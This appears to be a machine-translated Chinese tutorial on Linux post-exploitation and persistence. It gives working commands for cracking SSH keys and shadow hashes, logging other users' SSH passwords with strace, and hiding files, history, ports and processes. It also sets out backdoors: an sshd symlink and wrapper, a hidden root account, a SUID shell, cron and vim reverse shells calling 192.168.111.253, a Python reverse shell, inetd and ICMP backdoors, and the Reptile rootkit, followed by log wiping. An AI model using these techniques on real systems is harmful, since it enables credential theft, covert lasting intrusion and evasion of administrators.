Log in with a key,
Log in to the linux machine and specify the path of the key file with - i
If you want to use it on Windows, for example, putty:
Use WinSCP, SFTP and other tools to set the private key file ID_ Download RSA to the client machine. Then open putty Gen and click the Load button in Actions to Load the private key file you just downloaded. If you have set the key lock code, you need to enter it at this time.
After loading successfully, PuTTYGen will display key related information. Type the description of the key in Key comment, and then click Save private key to save the private key file in a format that PuTTY can use.
In the future, when you log in with PuTTY, you can select your Private key file for authentication: in connection - > SSH - > auth on the left, and then log in. In the process, you only need to enter the key lock code.
Crack SSH key
If the discovered SSH key is encrypted with password, it can be cracked locally (faster), and John the Ripper or hashcat can be used (if you can access GPU, hashcat should be used to shorten the cracking time).
John the Ripper has a function that converts his key into a key called john2ash Py and pre installed on Kali:
Convert hash: python /usr/share/john/ssh2john.py id_rsa > id_rsa.hash-john Use comprehensive password dictionary: john --wordlist=/usr/share/wordlists/password.txt id_rsa.hash-john
SSH password explosion
The SSH password is encrypted and stored in the / etc/shadow file. You can use tools such as John the rapper or hashcat to try blasting.
Introduction to shadow file:
Example:
root:$6$qvhlqI7I$//0whlOY9i55tzFatxkzafR7n7KA2P2nRh7kMSo82KrGV89ujtSTPEJOQjXsRGpSEFuFKnCT0a0.g92kCstOP1:17938:0:99999:7:::
Colon separated: 1.The first field is the user name 2.The second word field is the encrypted password. If yes X It means that you cannot log in to the system 3.Time when the password was last modified 4.The minimum number of days between two password changes 5.Maximum number of days between two password changes 6.Set the number of days in advance to notify the police that the account order will expire 7.How many days after the password expires to disable this user 8.User expiration date 9.Reserved fields $6$qvhlqI7I$//0whlOY9i55tzFatxkzafR7n7KA2P2nRh7kMSo82KrGV89ujtSTPEJOQjXsRGpSEFuFKnCT0a0.g92kCstOP1 Explain it again $Meaning of each part of the division: There are five key encryption methods: $1 express MD5 encryption algorithm $2 Indicates use blowfish encryption algorithm $5 express SHA-256 encryption algorithm $6 express SHA-512 encryption algorithm (Above) Other standard DES qvhlqI7I: Salt value //0whlOY9i55tzFatxkzafR7n7KA2P2nRh7kMSo82KrGV89ujtSTPEJOQjXsRGpSEFuFKnCT0a0.g92kCstOP1: hash value
John the rapper crack:
cp /etc/shadow shadow.txt //Save shadow file directly unshadow /etc/passwd /etc/shadow >shadow.txt //If you have unshadow, you can also integrate the two files john --wordlist=pass.txt shadow.txt //Crack with dictionary john --show shadow.txt //View cracking information
Hashcat cracking (hashcat is recommended for large dictionaries):
The use of hashcat can be seen in this article https://xz.aliyun.com/t/4008
Save the / etc/shadow file, extract the password field and save the hash txt
$6$qvhlqI7I$//0whlOY9i55tzFatxkzafR7n7KA2P2nRh7kMSo82KrGV89ujtSTPEJOQjXsRGpSEFuFKnCT0a0.g92kCstOP1
hashcat -m 1800 -a 0 -o result.txt hash.txt pass.txt --force -m Is to specify the encryption type, 1800 is SHA-512(Unix)Code, specific–help To view; -a Is the specified attack mode,0 representative Straight pattern,Try to crack with dictionary; -o Is the cracked information output result file,Output to found.txt In the file; hash.txt Is the encrypted password file we saved above; pass.txt It's our blasting code. The bigger the better; --force Ignore warnings during cracking,Single track hash This option may need to be added
You can also use hashcat hash --show to display the results
SSH Keylogger record password
Use the strace system debugging tool to obtain the data of ssh read-write connection, so as to capture the plaintext password of the administrator logging in to other machines.
In the of the current user Create a new alias in bashrc so that you can grab the ssh password of his login to other machines.
//Define an alias in the current user's shell environment vi ~/.bashrc //Insert on last line alias ssh='strace -o /tmp/.sshpwd-`date '+%d%h%m%s'`.log -e read,write,connect -s2048 ssh' //Refresh the current shell environment source ~/.bashrc
After setting, if there is no alias in the current system, its normal use will be affected.
After setting, use SSH to log in to other machines:
Then, look at / TMP / The password can be found in the sshpwd xxxxx file:
Trace traffic monitoring source
Just use the alias to capture the password when logging in to other machines. Similarly, you can also use strace to monitor the local sshd traffic and catch the password connected by others.
Application scenarios, such as: obtain root permission through vulnerability, but do not know the plaintext password.
ps -ef | grep sshd //Parent process PID //function strace -f -p 811 -o /tmp/.ssh.log -e trace=read,write,connect -s 2048 //Or run in the background nohup strace -f -p 811 -o /tmp/.ssh.log -e trace=read,write,connect -s 2048 &
Linux permission maintenance
hide
0x01 hidden file
Create a hidden file under Linux: touch test. txt
The touch command can create a file. A dot in front of the file name represents a hidden file, as shown in the following figure
Generally, the hidden directory under Linux cannot be viewed with the command ls -l. only files and folders can be viewed. To view the hidden files under Linux, you need to use the command ls -al
In fact, there are in every directory in linux And It refers to the current directory and the parent directory respectively. Build File is also a better hiding method“
Create parameter file
echo 'test' > -- //Create -- files that need absolute paths to read and delete
rm -rf -- the command is executed, the file is not deleted, and the command does not report an error, which can mislead the administrator.
To delete, use rm -rf '/root / -'
In addition, we can see that under / tmp, there are multiple hidden directories by default, which are common hiding places for malicious files. For example, / TMP / font-unix/,/tmp/.ICE-unix/,/tmp/.Test-unix/,/tmp/.X11-unix/,/tmp/.XIM-unix/
0x02 hide file timestamp
The time of hiding the back door under Linux must be modified, otherwise it is easy to be found. Just use touch directly.
Utilization method
For example, refer to index PHP, and then assign it to webshell PHP, the time of the two files is the same.
touch -r index.php webshell.php
Or directly modify the timestamp to a year, a month, a day. As follows: 8:10:30 on February 1, 2022.
touch -t 2202010810.30 webshell.php touch -t 2202010810.30 webshell.php -c //-t STAMP use [[CC]YY]MMDDhhmm[.ss] instead of current time //-c do not create files
0x03 hide permissions
In Linux, the chatr command is used to prevent root and other administrative users from deleting and modifying important files and directories by mistake. This permission cannot be viewed with ls -l, so as to achieve the purpose of hiding the permission.
This technique is often used in the back door and turns into some back door files that are difficult to clear.
chattr +i evil.php #Lock file rm -rf evil.php #Prompt prohibit deletion lsattr evil.php #Property view chattr -i evil.php #Unlock rm -rf evil.php #Delete files completely
0x04 Hide History operation
incognito mode
After getting the shell, start traceless mode and disable the command history function.
[space]set +o history remarks:[space] Represents a space. And because of the space, the command itself will not be recorded.
After this command, all actions you perform will not be recorded in the history, but everything before this command will be recorded in the history list as it is.
To restart the history function, execute the following command:
[Space]set -o history It restores the environment to its original state, that is, when you finish your work, the commands after executing the above commands will appear in history.
Delete specified history command
History displays memory and ~ / bash_ All contents in history;
The contents of memory are not written to ~ / bash_history, the memory content will be written to the shell only when the current shell is closed
To delete a single command:
history -d [num]
Delete multiple commands:
sed -i "100,$d" .bash_history //Delete operation commands after 100 lines
0x05 hidden port
The purpose of hiding ports is achieved through port multiplexing. Here, take hiding SSH port and remote login through SSH as an example.
Method 1. Let HTTPS and SSH share the same port through SSLH
Detailed method reference: SSLH: let HTTPS and SSH share the same port - Zhihu (zhihu.com)
Here, take kali as an example to demonstrate:
Download SSLH:
sudo apt-get install sslh
Configure SSLH:
sudo vi /etc/default/sslh Amend to read: DAEMON_OPTS="--user sslh --listen 0.0.0.0:443 --ssh 127.0.0.1:22 --ssl 127.0.0.1:443 --pidfile /var/run/sslh/sslh.pid"
Start SSLH:
$ sudo systemctl enable sslh $ sudo systemctl start sslh
Check whether the SSLH daemon 443 is listening.
Utilization:
You can now access the remote server via SSH using port 443:
Method 2. Port multiplexing using IPTables
Target machine configuration:
# Port multiplexing chain iptables -t nat -N LETMEIN # Port reuse rules iptables -t nat -A LETMEIN -p tcp -j REDIRECT --to-port 22 # Switch on iptables -A INPUT -p tcp -m string --string 'threathuntercoming' --algo bm -m recent --set --name letmein --rsource -j ACCEPT # Turn off the switch iptables -A INPUT -p tcp -m string --string 'threathunterleaving' --algo bm -m recent --name letmein --remove -j ACCEPT # let's do it iptables -t nat -A PREROUTING -p tcp --dport 80 --syn -m recent --rcheck --seconds 3600 --name letmein --rsource -j LETMEIN
Attacker operation:
#Turn on Multiplexing echo threathuntercoming | socat - tcp:192.168.111.133:80 #ssh uses port 80 to log in ssh -p 80 root@192.168.111.133 #Turn off multiplexing echo threathunterleaving | socat - tcp:192.168.111.133:80
After the test, delete the iptables rule on the target machine:
iptables -L -n --line-number //iptables -L -n --line-number iptables -D INPUT 3 //Delete the third added rule of INPUT, where 3 represents the rule in the third line
0x06 hide process
The administrator cannot find the process you are running through the relevant command tools, so as to achieve the purpose of hiding and hide the process.
libprocesshider : https://github.com/gianlucaborello/libprocesshider
linux-inject: https://github.com/gaffe23/linux-inject
back door
SSH back door
SSH soft connection
Premise:
Allow PAM authentication (default):
cat /etc/ssh/sshd_config
Principle:
On the premise that the sshd service is configured to run PAM authentication, when the control flag in the PAM configuration file is sufficient, as long as PAM_ The rootok module detects that the uid is 0 (root) to successfully authenticate and log in
Utilization:
Available soft connection names:
find /etc/pam.d |xargs grep "pam_rootok"
su, chfn, chsh and other names above are OK. Take su as an example below:
Establish the back door through soft connection:
ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=4444
After execution, any machine ssh root@IP -p 4444, enter any password and log in successfully:
advantage:
It can bypass the security traffic monitoring of some network devices, but the port will be exposed when viewing the monitoring port locally. It is recommended to set it to ports such as 80818080.
Delete soft connection back door:
rm -rf [[soft connection address]
SSH Wrapper
Principle:
init starts / usr/sbin/sshd first. When the script is executed to getpeername, the regular matching will fail, so execute the next sentence and start / usr/bin/sshd, which is the original sshd. After the original sshd listening port establishes a TCP connection, it will fork a sub process to handle the specific work. This sub process does not have any verification, but directly executes / usr/sbin/sshd in the default location of the system, so that the sub control right returns to the script. At this time, the standard input and output of the child process has been redirected to the socket. Getpeername can really get the TCP source port of the client. If it is the specified port, execute sh to a shell.
Utilization:
Target machine:
cd /usr/sbin/ mv sshd ../bin/ echo '#!/usr/bin/perl' >sshd echo 'exec "/bin/sh" if(getpeername(STDIN) =~ /^..4A/);' >>sshd //4A is the small end mode of 13377 echo 'exec{"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd chmod u+x sshd /etc/init.d/sshd restart
Attack aircraft:
socat STDIO TCP4:target_ip:22,sourceport=13377 #If you want to modify the source port, you can implement it with python's struct standard library. x00x00LF is the big end form of 19526, which is convenient for transmission and processing. >>> import struct >>> buffer = struct.pack('>I6',19526) >>> print repr(buffer) '\x00\x00LF' >>> buffer = struct.pack('>I6',13377) >>> print buffer 4A
advantage:
1. In the case of no connection back door, the administrator can't see the port and process, and the login can't be found in last.
2. When the boundary device is out of the network and the intranet linux server is not out of the network, leave this back door to manage the intranet linux server at any time without leaving files and malicious network connection records.
SSH public key password free login
This usage is not only used to leave a back door, but also to obtain an interactive shell in some special cases, such as redis is not authorized to write the public key.
But this method, for example, is easy to find
Public private key pair generated by attacker:
ssh-keygen -t rsa
Then put the public key id_rsa.pub is sent to the target and tracked to authorized_ In the keys file:
echo id_rsa.pub >> .ssh/authorized_keys //Will ID_ rsa. Put the pub content to the target ssh/authorized_ In keys
At the same time, give permission, but the permission cannot be too large:
chmod 600 ~/.ssh/authorized_keys chmod 700 ~/.ssh
Then, on the premise that ssh turns on the key login function, the attacker can log in without secret.
Add user, stealth login
Added users are easy to be found and are not commonly used.
Add ordinary users in one sentence:
# Create an ordinary user with user name guest and password 123456 useradd -p `openssl passwd -1 -salt 'salt' 123456` guest # useradd -p method ` ` is used to store executable system commands, and "$()" can also store command execution statements useradd -p "$(openssl passwd -1 123456)" guest # chpasswd method useradd guest;echo 'guest:123456'|chpasswd # echo -e method useradd test;echo -e "123456\n123456\n" |passwd test
Add root user in one sentence:
# Create a root user with user name guest and password 123456 useradd -p `openssl passwd -1 -salt 'salt' 123456` guest -o -u 0 -g root -G root -s /bin/bash -d /home/test
Stealth login:
The stealth login system will not be detected by last, who, w and other instructions
ssh -T username@host /bin/bash -i ssh -o UserKnownHostsFile=/dev/null -T user@host /bin/bash -if
SUID back door
SUID was mentioned when introducing linux rights
What is suid? Suid full name is Set owner User ID up on execution. This is an attribute Linux gives to executable files - the s flag. It is commonly understood that when other users execute this program, they can use the permission of the program owner / group. It should be noted that the right can be raised only if the owner of the program is No. 0 or other super user and has suid permission.
Create a file with suid permission:
cp /bin/bash /tmp/.woot chmod u+s /tmp/.woot ls -al /tmp/.woot
You can obtain root permission by running with ordinary users:
/tmp/.woot /tmp/.woot -p //bash2 has some protective measures against suid. You need to use the - p parameter to obtain a root shell
Cron back door
In ubuntu, sh is used directly in the planned task by default, pointing to dash instead of bash, so the execution of rebound task may fail. Refer to the solution: https://cloud.tencent.com/developer/article/1683265
In Linux system, the planning task is generally undertaken by cron. We can set cron to start automatically when starting up. After cron starts, it will read all its configuration files (global configuration file / etc/crontab, and the scheduled task configuration file of each user), and then cron will call the work task on time according to the command and execution time.
cron expression online generation: https://www.bejson.com/othertools/cron/
crontab -e set scheduled tasks
#Every minute */1 * * * * /bin/bash /root/test.sh Or directly execute the rebound shell */1 * * * * /bin/bash -c "/bin/sh -i >& /dev/tcp/192.168.111.253/8877 0>&1"
test.sh:
#!/bin/bash bash -i >& /dev/tcp/192.168.111.253/8899 0>&1
chmod +sx test.sh
crontab -l view scheduled tasks:
Restart the crond service, service crond restart, and then use nc to receive the shell:
In the above way, the administrator can see that the content of the executed command is not particularly hidden by executing crontab -l.
Use the following command to set the scheduled task. After crontab -l is executed, it will display "no crontab for root", which achieves a simple hiding effect:
(printf "*/1 * * * * /bin/bash /root/test.sh;\rno crontab for `whoami`%100c\n")|crontab -
\r causes the display to be truncated, so that the following contents cover the previous characters character by character;
The function of 100%c is to format and output one character, which is supplemented by 99 spaces in front.
Detailed analysis can be seen in this article: https://cloud.tencent.com/developer/article/1683265
In fact, he writes the cron file into the file, and crontab -l lists the contents of the file:
/var/spool/cron/crontabs/root
Usually cat can't see this. It can only be seen by using less, vim or cat -A, which is also a defect of using cat
cat supports some commands such as carriage return, line feed and page feed by default, which can hide commands caused by these symbols.
VIM rear door
vim modeline(CVE-2019-12735)
The flaw lies in the modeline function of the editor, which is enabled by default in some Linux distributions. When VIM opens a file containing the comment line of vim modeline, it will automatically read the parameter configuration of this line and adjust its settings to this configuration.
vim turns off modeline by default.
Affected version: VIM < 8.1.1365, neovim < 0.3.6
use:
First, open modeline:
vim ~/.vimrc set modeline
Then we create a file to test:
echo ':!uname -a||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="' > test.txt
vim test.txt
You can see that the uname -a command was executed successfully
Now let's create the rebound shell file:
shell.txt
:!rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.111.253 8888 >/tmp/f||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt=" or :!rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i >& /dev/tcp/192.168.111.253/8888 0>&1 >/tmp/f||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="
vim python extension backdoor
It is applicable to linux systems with vim installed and python extension installed (the default installation for most versions)
vim --version. You can see that vim supports Python 3
Construct a rebound shell script
test.py
import socket,subprocess,os s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(("192.168.111.253",8888)) os.dup2(s.fileno(),0) os.dup2(s.fileno(),1) os.dup2(s.fileno(),2) p=subprocess.call(["/bin/sh","-i"])
implement
vim -E -c "py3file test.py"
After execution, the command line interface will be blank, as shown in the figure below, which is a normal phenomenon. Closing the command line interface at this time will not affect the shell that has bounced back
Received shell:
At this point, you can see the suspicious vim connection
But such a back door is too obvious, and there will be a blank window after vim -E -c "py3file test.py" command is executed.
We need to hide:
Starting from the following two points:
1,
(nohup vim -E -c "py3file test.py"> /dev/null 2>&1 &) #Output the execution result of nohup to / dev/null #Where / dev/null represents an empty device in linux, and the result is output to the empty device, that is, the execution result of nohup is discarded. #"2" stands for error output in linux, "1" stands for standard output in linux, which is the output of nohup here. 2> & 1 means that the error output is bound to the standard output. Here, the error output is also output to the empty device and will not be displayed. In this way, no matter whether the execution result of nohup is correct or not, there will be no output.
2. Since it is a back door, you can't leave the files you created. You can splice the delete command directly to the command
Because our final execution order is:
(nohup vim -E -c "py3file test.py"> /dev/null 2>&1 &) && sleep 2 && rm -f test.py
PAM rear door
PAM (Pluggable Authentication Modules) is an authentication mechanism proposed by Sun. By providing some dynamic link libraries and a set of unified API s, it separates the services provided by the system from the authentication methods of the service, so that the system administrator can flexibly configure different authentication methods for different services according to needs without changing the service program. At the same time, it is also convenient to add new authentication means to the system.
Leverage scripts:
https://github.com/litsand/shell
inetd rear door
Inetd is a system daemon that listens to external network requests (that is, a socket). By default, it is port 13. When inetd receives an external request, it will find the program that actually handles it in its configuration file according to the request, and then hand over the received socket to that program for processing.
If a socket from the outside is to execute an interactive shell (for example, we have defined it in the inetd configuration file of the target system in advance), it is equivalent to a simple bind back door
Installation:
apt-get install openbsd-inetd
Utilization:
#Modify / etc / inetd conf $vim /etc/inetd.conf #discard stream tcp nowait root internal #discard dgram udp wait root internal daytime stream tcp nowait root /bin/bash bash -i # When the request shell is called dayte
#Enable inetd $inetd
Use nc connection
nc -vv 192.168.111.132 13
Advanced:
You can replace daytime with other services. The corresponding relationship between services and ports can be viewed in the / etc/services file. We can choose the existing one or add one ourselves:
Then modify / etc / inetd conf
nc connects to 8881 port interface to obtain shell:
testing:
Just view the configuration file
cat /etc/inetd.conf
ICMP back door
Use the controllable data field in ICMP for data transmission
Project address:
https://github.com/andreafabrizi/prism
use:
Compile first c document [see the introduction in the project for specific requirements]
Linux 64bit: apt-get install libc6-dev-amd64 gcc -DDETACH -m64 -Wall -s -o prism prism.c Linux 32bit: apt-get install libc6-dev-i386 gcc -DDETACH -m32 -Wall -s -o prism prism.c
function:
./prism Inf0 ./sendPacket.py 192.168.111.132 p4ssw0rd 192.168.111.253 8888 #192.168.111.132 is the victim machine running prism backdoor #p4ssw0rd is the key #192.168.111.253 is the attacker machine address #8888 is the attacker machine port
DNS backdoor
In most network environments, IPS/IDS or hardware firewall will not monitor and filter DNS traffic. The main principle is to hide the backdoor load in the DNS domain with PTR records and A records.
Some projects:
https://github.com/DamonMohammadbagher/NativePayload_DNS https://github.com/iagox86/dnscat2 http://code.kryo.se/iodine
Process injection
Process injection backdoors generally need a ptrace library, which is used to debug processes. Basic linux systems come with this library.
There are many process injection tools
https://github.com/gaffe23/linux-inject https://sourceforge.net/projects/cymothoa/files/ https://github.com/screetsec/Vegile
[false]Cymothoa
Cymothoa is a backdoor tool. Using the code shellcode, it will be injected into the process. As long as the process exists, the backdoor will be effective. Therefore, some self starting service processes are generally selected for injection, such as web services, mysql, apache, etc. The back door has the same permissions as the injected process. After the target shell is won, you can use cymothoa to add a backdoor.
use:
Download, enter Cymothoa and run
./cymothoa -S #List available shellcode s
Here, we use the payload of serial number 1 to reverse the shell through the port. The - p parameter is used to specify the pid of the process to be injected, - s is used to specify the sequence number of shellcode, and - y is used to specify the port of the reverse shell, that is, the port to be connected when others connect themselves. After running, when the meaning "infected" appears, it means that the backdoor injection is successful.
If you don't succeed, don't worry about it first...
Vegile
Vegile is a tool used to hide its own process. Even if the process is killed, it will restart. There will always be one process running another, so we can assume that this process is unstoppable.
attack machine
Sir, it's a back door:
msfvenom -a x64 --platform linux -p linux/x64/shell/reverse_tcp LHOST=IP LPORT=PORT -b "\x00" -f elf -o NAME_BACKDOOR
Transfer to the victim machine in any way.
Listen with msf:
victim machine
git clone https://github.com/Screetsec/Vegile.git cd Vegile chmod +x Vegile
-i is the way of process injection
-u is the shell that can continue to rebound if the process is killed
function
./Vegile --i test
--u is similar, so I won't demonstrate it.
Tiny shell
Tiny Shell is an open source Unix backdoor shell tool, written in C language, with small volume and encrypted communication. It is divided into client and server, and supports forward connection and rebound connection modes
https://github.com/orangetw/tsh
use:
- Forward:
First open TSH H set the password (the user encrypts the communication data between the client and the server);
Modify SERVER_PORT value (the port monitored after the back door operates);
Modify FAKE_PROC_NAME value (used to disguise and display the process name after the backdoor runs);
Comment out CONNECT_BACK * two lines of code (these two lines of code are in reverse mode);
Here is a simple change because of the demonstration. After modification, it is as follows:
compile:
make linux #Support multiple systems linux, freebsd, openbsd, netbsd, cygwin, sunos, irix, hpux, osf
After compilation, two files TSH (client) and TSHD (server) are generated:
Server execution:
umask 077; HOME=/var/tmp ./tshd ./tshd
Client: (in addition to obtaining shell, you can also execute a single command and transfer files)
./tsh 192.168.111.132 #./tsh victim_ip
Note: after the server is running, the PID of its parent process is 1, which means that this process is a daemon. It will always exist unless the system is restarted or manually shut down (of course, you can also add a startup item or a task plan)
- Reverse:
The preparation before compilation is similar to the forward mode of compilation, but you need to connect_ The two lines of back * remove the comments, that is, remove / /, and change the ip to the ip of the client. The delay can also be modified appropriately:
compile:
make linux
Server operation
umask 077; HOME=/var/tmp ./tshd ./tshd
Client running:
./tsh cb #cb indicates reverse mode
Note: This is just a simple demonstration. In practical use, various deceptive camouflages can be carried out, such as improving the process name, moving to the deceptive directory, etc.
Self starting
chmod +x /etc/rc.d/rc.local vi /etc/rc.d/rc.local
In this file, add the absolute path of the script to be executed after startup, such as
/usr/local/shell/crontab.sh
Save and exit to take effect.
After the scheduled task is set, the system will automatically execute at a fixed time after restart. There is no need to set the startup and self startup. If there is an interruption, consider the startup of the crond service.
Rootkit
rootkit is a malicious program implanted into the computer system by an attacker, which can hide its trace and retain root privileges. rootkit destroys the system based on the attacker's root permission. rootkit will try its best to avoid being detected by the monitoring program by hiding files, processes, modules, processes and other information.
This project Lists a lot of easy-to-use rootkit s. Those who are interested can go and have a look.
Here is just a demonstration of the use of Reptile.
Reptile is an LKM(Loadable Kernel Modules) rootkit, so it has good concealment and powerful functions.
Installation:
apt-get install vim gcc make g++ unzip -y apt-get -y install linux-headers-$(uname -r) git clone https://github.com/f0rb1dd3n/Reptile.git ./setup.sh install #Fully automatic installation, which will also be automatically deleted after installation. Pay attention to the need for interactive shell
The installation process will have the following options:
Hide name (will be used to hide dirs / files) (default: reply): the file or file name that will be hidden
Auth token to magic packets (default: hax0r): authentication when connecting the back door
tokenBackdoor password (default: s3cr3t): backdoor password
Tag name that hide file contents (default: reply): tag name. All contents in the tag will be hidden
Source port of magic packets (default: 666): the source port can be selected by default
Would you like to config reverse shell each X time? (y/n) (default: n): whether to play the shell every other period of time. This function is very powerful. It can be used if the other party's awareness of prevention is not high.
Reverse IP: control end ip
Reverse Port: control port
would you like to config reverse shell each x time(default:1800): you want to connect back every x time
The installation is successful and the local folder can be deleted:
See the rootkit effect:
Hide Directory:
All files and folders contained in the name are reptile Will be hidden. You can configure it before installation. The following command hides/Unhide files, folders, processes, and kernel modules themselves: Hide:/reptile/reptile_cmd hide Unhide:/reptile/reptile_cmd show
Hide process:
Hide process:/reptile/reptile_cmd hide <pid> Unhide process:/reptile/reptile_cmd show <pid>
Hide TCP/UDP connections:
Hide:/reptile/reptile_cmd conn <IP> hide Unhide:/reptile/reptile_cmd conn <IP> show Note: by default, TCP and UDP Hide function hide to IP All connections
Control end:
Installation:
#Install dependencies first apt install libreadline-dev #Debian yum install readline-devel #RHEL Installation execution ./setup client
Enter directory, execute. bin/ client can start
The operation logic of this backdoor is to use the specific port of any machine (generally the control machine) (the srcport parameter 666 when configuring the target machine) to send a piece of data to any port of the target. Then the target machine receives the data and connects back according to the configuration.
The control end is set according to the configuration of the controlled end:
After setting, execute run and wait for a while to receive the connection of the target machine and enter the control interface
After the target restarts, the back door can still be received.
For more use, refer to the official wiki
Linux trace cleaning
After the attack, how to clear the logs and operation records without leaving traces to cover up the intrusion trace is actually a detailed technical work. Every operation you do will be erased; All the tools you upload should be deleted safely.
For the cleaning method of Linux trace, see
https://www.cnblogs.com/yokan/p/15701536.html
reference resources
https://www.freebuf.com/articles/network/257603.html
https://websec.readthedocs.io/zh/latest/intranet/linux/index.html
https://baiker.top/0839a9742351
https://xz.aliyun.com/t/100
https://www.ddosi.org/ssh-movement/
https://xz.aliyun.com/t/7338
https://www.cnblogs.com/-mo-/p/12337766.html
Chapter 3: Linux permission maintenance -- hidden chapter · practical notes of emergency response (bypass007.github.io)
f0rb1dd3n/Reptile: LKM Linux rootkit (github.com)
Metarget/k0otkit: k0otkit is a universal post-penetration technique which could be used in penetrations against Kubernetes clusters. (github.com)
https://www.sohu.com/a/153754894_354899
https://blog.csdn.net/fageweiketang/article/details/86665518
https://www.hacking8.com/MiscSecNotes/rookit.html